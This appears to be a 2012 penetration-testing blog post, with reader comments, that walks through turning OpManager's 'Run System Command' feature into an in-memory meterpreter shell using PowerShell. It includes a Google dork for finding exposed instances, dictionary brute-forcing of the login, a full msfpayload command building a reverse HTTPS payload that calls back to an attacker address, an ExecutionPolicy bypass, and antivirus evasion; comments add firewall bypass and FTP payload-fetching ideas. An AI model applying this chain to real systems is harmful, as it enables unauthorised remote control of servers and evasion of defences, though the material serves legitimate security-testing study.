Friday, April 27, 2012

Command Injection to Code Execution with PowerShell

A common scenario that testers face involves leveraging command injection vulnerabilities into a full-blown shell.  A lot of people view command injection as an old technique, but it is very relevant today.  There are many different types of attacks that end in command injection (e.g. SQL injection), so testers need a way to turn Windows commands into shell access.  There are many documented ways of doing this including FTP, TFTP and downloading through a browser.  These methods work in a lot of cases, but I have seen a rise in organizations that have taken steps to prevent those methods and all of them involve writing a binary to disk.

Some command injection "vulnerabilities" are actually intentional features included by vendors.  The one that I will be using as an example falls into that category and is a part of ManageEngine's OpManger.  OpManager is used by network and system administrators to centrally manage servers and network devices.  As such, it comes with cool features like a "Run System Command" alert profile.  Any command can be run, but we won't receive the results back (blind command injection?).  We could pipe the results to a text file in a directory that we can access through the browser (e.g. /help/user_guide/) , but that would leave evidence that could potentially be discovered.  Thanks to the research of several people, we can easily turn command injection into a full meterpreter shell with PowerShell and not worry about antivirus because we will never write to disk.

You might be wondering how we got here, which is a fair question.  A web server housing such important data would never be accessible externally (google dork: intitle: ManageEngine OpManager inurl:loginpage.do), but maybe we are pivoting from another compromised box.  Since we want to see the page with a browser, we will actually need to port forward to the remote host.




The next stumbling block is the pesky login page.  Logs on appliances are seldom monitored as closely as other servers, so there is a chance that we can "guess" the password with a small dictionary.  OpManager doesn't allow several characters in passwords, so there is a higher chance that a simple dictionary will work.  Maintaining a good dictionary and the ability to generate custom dictionaries are critical tasks for successful testers.  We can use the Firefox add-on Fireforce to utilize our dictionary and hopefully get the admin password. 


Fireforce needs a string to detect a failed login attempt, so we can try to login with our first password guess.  Now we can configure Fireforce with the string "Invalid username and/or password." and load our custom dictionary.



Now that we are all caught up on the backstory, let's use PowerShell to get a meterpreter shell.  This process involves a few steps:

1. Generate shellcode and convert it to a format that PowerShell understands.
2. Drop the shellcode into Matt Graeber's injection script, start a handler and test it.
3. Encode the script using Dave Kennedy's ExecutionPolicy bypass script.
4. Execute the encoded string and continue post-exploitation.

Generating shellcode with msfpayload or msfvenom is pretty straightforward and with a little massaging we can get properly formatted shellcode piped to a text file:

msfpayload windows/meterpreter/reverse_https LHOST=192.168.1.200 LPORT=443 EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- | sed 's/^[^0]*\(0.*\/\*\).*/\1/' | sed 's/.\{2\}$//' | tr -d '\n' > /tmp/powershell_codeexec.txt


Now we can drop that directly into Matt Graeber's shellcode injection script.  Next, start our handler and test the script.  I have seen times where one payload will consistently crash PowerShell and a slightly different one will work flawlessly.  Your mileage will vary, but the important thing to remember is to always test your payloads before deploying them.


The next step is to bypass PowerShell's ExecutionPolicy since we don't know which policy type is being enforced.  We can use Dave Kennedy, Josh Kelley and Kathy Peter's CreateCMD script to encode the entire script into a single command that can be executed through the command injection vulnerability.


Run the script and copy the output.


Now we have a memory resident shell by executing one command without having to worry about antivirus or host-based security products.  Hopefully you can see how easy PowerShell makes this process.  Also, if you run into this scenario with OpManager in a real test, you are more than likely one token impersonation away from domain administrator privileges.


-Chris

5 comments:

  1. I'll start by saying I don't understand this post at all. If you can execute any command you want with the context of SYSTEM, what more is there to prove? Why not just echo a marker to the filesystem and call it a day.

    The next thing that strikes me as odd is that you are publishing this as if microsoft or managedengine won't fix these problems soon. It seems irresponsible to publish something like this if you really are a "security professional."

    Finally; you make a lot of assumptions that could confuse people. What if this software is installed on a better OS like Unix? What if the admin chooses a good password? Won't windows firewall block your connection attempt? Next time use a more plausible scenario.

    ReplyDelete
    Replies
    1. Don't like it? ... write your own damn post. Jeez. the nerve of some people.

      Delete
  2. I can't help but feel a bit trolled, but I will tread lightly anyway.

    I don't believe in "markers" as a way of proving compromise. Customers spend a considerable amount of money and effort in ensuring that they have a realistic assessment, and testers should return the favor by demonstrating a business impact. Post-exploitation is important to all tests and can help the customer identify shortcomings and take steps to harden their enterprise against potential 0days.

    I am sorry that you feel that this post is irresponsible. I would be surprised to see Microsoft "fix" PowerShell to prevent these methods from working, but its absolutely possible. Also, ManageEngine likely would consider this feature-abuse and not a vulnerability.

    As far as my assumptions, you are correct. In order to use PowerShell, it must be installed and its currently only available for modern Windows systems. I single password that doesn't allow special characters would have to be extremely long and possibly random to not be in some attacker's dictionary, but I will concede that my scenario doesn't work without the correct admin password.

    To my knowledge, the Windows Advanced Firewall does not block outbound connections. The payload chosen in the post was a reverse payload so it would likely not be affected by the firewall at all. If you chose a payload that created a bind shell, you would in fact have to configure the firewall to allow connections on that port.

    Maybe I will just leave the scenarios out and just stick to the meat of the posts in the future. So for this post - PowerShell can be used to get shell from command injection vulnerabilities without having to worry about AV!

    -cc

    ReplyDelete
  3. The Windows Advanced Firewall (WAF) does not block outbound connections by default, although it can be configured to. That being said, even if outbound connections are blocked, you can most likely override that by controlling the WAF using netsh.exe.

    Cheers,
    Trevor Sullivan
    http://trevorsullivan.net
    http://twitter.com/pcgeek86

    ReplyDelete
  4. I was in a similar situation the other day, but without powershell. I didn't end up getting anything to work because I wasn't able to see output to debug my attempts and I think that some characters might have been being filtered. In thinking about it though, it seems that you could get the job done by writing to the fs the necessary ftp commands to pull a meterpreter payload from your ftp server and then run those ftp commands with the -s option on the built in windows ftp command. it would then be simple to execute the payload. I will have to do some work on that at some point to see if it would work. good post.

    ReplyDelete